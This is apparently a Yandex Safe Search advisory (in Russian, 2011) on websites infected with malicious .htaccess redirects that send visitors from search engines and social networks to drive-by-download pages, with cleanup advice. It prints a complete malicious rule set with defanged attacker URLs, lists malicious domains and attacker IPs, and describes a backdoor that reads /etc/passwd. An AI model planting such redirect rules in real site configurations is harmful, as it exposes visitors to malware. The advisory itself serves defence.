Дано
- Веб-сайт заражён.
- Когда пользователи заходят на сайт – он перенаправляет их на страницу, которая выполняет drive-by-download атаку.
- Перенаправляет почти всегда, и каждый день на разные страницы.
- Когда вебмастер заходит на свой сайт, тот его никуда не перенаправляет.
- Сайт полностью статический: ни клиентских, ни серверных скриптов, ни каких-то других активных элементов на нём нет.
Как же происходит заражение, и что делать, чтобы его устранить и больше не допустить?
Как вы, наверное, уже догадались, речь идёт о заражении сайта с помощью вредоносного редиректа, настроенного с помощью файла .htaccess :
- Он перенаправляет пользователей, потому что они в основном переходят на заражённый сайт по ссылкам из поисковых систем и социальных сетей.
- Он не перенаправляет вебмастера, потому что тот вводит домен своего сайта в адресную строку браузера.
- Цель редиректа изменяется, потому что файл .htaccess регулярно переписывает вредоносный серверный скрипт, который находится в директории другого сайта.
.htaccess – далеко не единственный конфигурационный файл, с помощью которого можно сделать сайт частью системы распространения вредоносного кода. Это можно сделать и с помощью других файлов с настройками веб-серверов и интерпретаторов серверных скриптов. В них часто применяются специальные, довольно сложные языки настройки. Ошибка при изменении такого файла может привести к выходу из строя всего веб-сервера, а у вебмастеров не всегда есть права на их чтение и изменение.
В последнее время техника распространения вредоносного ПО с помощью настроенного в .htaccess редиректа на вредоносный сайт снова популярна у злоумышленников.
Чаще всего редирект на страницу, которая производит drive-by-download атаку, происходит только в том случае, когда на заражённый сайт перешли с крупной поисковой системы или социальной сети.
С 31.10.2011 по 03.11.2011 Безопасный Поиск выявил настроенные в .htaccess редиректы на следующие страницы с вредоносным кодом:
h**p://billing-white.ru/cname/index.php?no=324&ida=4973
h**p://ristoncharge.in/meeting/index.php
h**p://telebillactivation.ru/distantion/index.php
h**p://billing-white.ru/cname/index.php
h**p://paybucks.ru/payform/index.php
h**p://payment-glonas.in/position/index.php
h**p://assistantbilling.in/proccess/index.php
h**p://assistant-first.ru/payment/index.php
Чтобы перенаправлять пользователей заражённого сайта, в файл .htaccess добавляются дополнительные правила, например:
ErrorDocument 400 h**p://ristoncharge.in/meeting/index.php
ErrorDocument 401 h**p://ristoncharge.in/meeting/index.php
ErrorDocument 403 h**p://ristoncharge.in/meeting/index.php
ErrorDocument 404 h**p://ristoncharge.in/meeting/index.php
ErrorDocument 500 h**p://ristoncharge.in/meeting/index.php
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*ask\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*yahoo\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*baidu\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*youtube\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*qq\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*excite\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*altavista\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*msn\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*netscape\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*aol\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*hotbot\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*goto\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*infoseek\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*mamma\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*lycos\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*search\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*bing\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*dogpile\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*facebook\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*twitter\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*blog\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*live\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*myspace\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*mail\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*yandex\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*rambler\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*ya\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*aport\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*linkedin\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*flickr\.(.*)
RewriteRule ^(.*)$ h**p://ristoncharge.in/meeting/index.php
Видно, что редирект происходит, если:
- При работе с сервером возникли ошибки (сервер получил HTTP-заголовок, который не может обработать; возникла ошибка авторизации; пользователю запрещён доступ к определенным директориям или файлам; произошло обращение к несуществующей странице; произошла внутренняя ошибка сервера). В этом случае заражённый веб-сервер выдаёт пользователю не стандартный ответ, отражающий суть ошибки, а редирект на h**p://ristoncharge.in/meeting/index.php.
- Если на сервере установлен модуль Apache mod_rewrite и пользователь перешёл на заражённый сайт с доменов известных поисковых машин и социальных сетей, название которых содержит: google., ask., yahoo., baidu., youtube., wikipedia., qq., excite., altavista., msn., netscape., aol., hotbot., goto., infoseek., mamma., alltheweb., lycos., search., metacrawler., bing., dogpile., facebook., twitter., blog., live., myspace., mail., yandex., rambler., ya., aport., linkedin., flickr.
Изменения в .htaccess тут же применяются ко всему контенту в директории, в которой он находится, а также в её поддиректориях, и могут одновременно сделать вредоносными все сайты, размещённые на веб-сервере.
Чтобы затруднить обнаружение вредоносного кода веб-мастером, в начало файла .htaccess записывается большое количество пустых строк и символов табуляции:
Чтобы поместить на веб-сервер скрипт-бэкдор и с его помощью записать в .htaccess приведённые выше вредоносные правила, злоумышленники используют уязвимости CMS. В проанализированном примере заражения использовались скрипты с именем вида tmp_2791826179573679.php (где 2791826179573679 — случайный набор цифр), содержащие обфусцированный вредоносный код вида:
Этот скрипт позволяет злоумышленникам не только изменять .htaccess, но и выполнять другие вредоносные действия.
В частности, в среднем раз в сутки он получает с IP-адресов пользователей донецкого провайдера didan.org (например, 31.41.15.4, 31.41.8.59, 31.41.10.183, 31.41.10.157) команды на:
- изменение файлов .htaccess;
- доступ к файлам /etc/httpd/conf/httpd.conf и /etc/passwd;
- поиск и выборочное внедрение в php-файлы бэкдоров и редиректоров, причём таких, чтобы заражённые партнёрские сети, на вредоносные страницы которых производится редирект, могли идентифицировать злоумышленника и выплатить ему гонорар.
Ни один из антивирусов, используемых на VirusTotal.com , на 11.11.2011 не детектировал в таком php-скрипте вредоносный код.
Более того, наличие браузерного вредоносного кода из Blackhole Exploit Pack на вредоносных страницах, на которые происходит редирект, на 11.11.2011 детектировали только 3 антивируса из 43.
Рекомендации по обнаружению и удалению:
- На файлы, находящиеся на веб-сервере, нужно устанавливать такие полномочия, чтобы серверные скрипты не могли изменять их без необходимости.
- Следует обращать внимание на php-скрипты со странными именами, а также на скрипты, размещенные в неподходящих местах – например, в каталоге с картинками.
- Нужно регулярно проверять содержимое страниц сайта на наличие вредоносного кода при переходе с поисковых выдач.
- Увидев пустой файл .htaccess, следует удостовериться, что его размер – 0 байт.
- В целом, рекомендации для вебмастеров аналогичны тем, которые приведены здесь.
Команда Безопасного Поиска Яндекса